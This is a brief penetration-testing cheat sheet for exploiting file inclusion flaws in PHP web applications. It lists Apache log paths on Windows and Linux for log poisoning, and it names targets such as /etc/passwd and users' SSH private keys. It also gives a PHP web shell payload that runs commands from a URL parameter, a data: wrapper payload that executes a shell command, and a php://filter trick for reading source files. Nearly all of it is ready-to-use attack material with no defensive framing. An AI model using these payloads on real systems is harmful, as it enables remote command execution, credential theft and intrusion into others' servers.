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File Inclusion Vulnerabilities


  • Contaminating Log Files
  • Enumerate users /etc/passwd
  • Check for ssh keys /home/user/.ssh/id_rsa
  • Check for RFI


WIndows logs file for contaminations (Apache)

c:\xampp\apache\logs\access.log

c:\xampp\apache\logs\error.log


Linux logs file for contaminations (Apache)

/var/log/apache2/access.log

/var/log/apache2/error.log


PHP Contamination payload

<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

PHP Wrappers payload

http://example.com/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>

PHP Base64 Filter

php://filter/convert.base64-encode/resource=/var/www/html/admin.php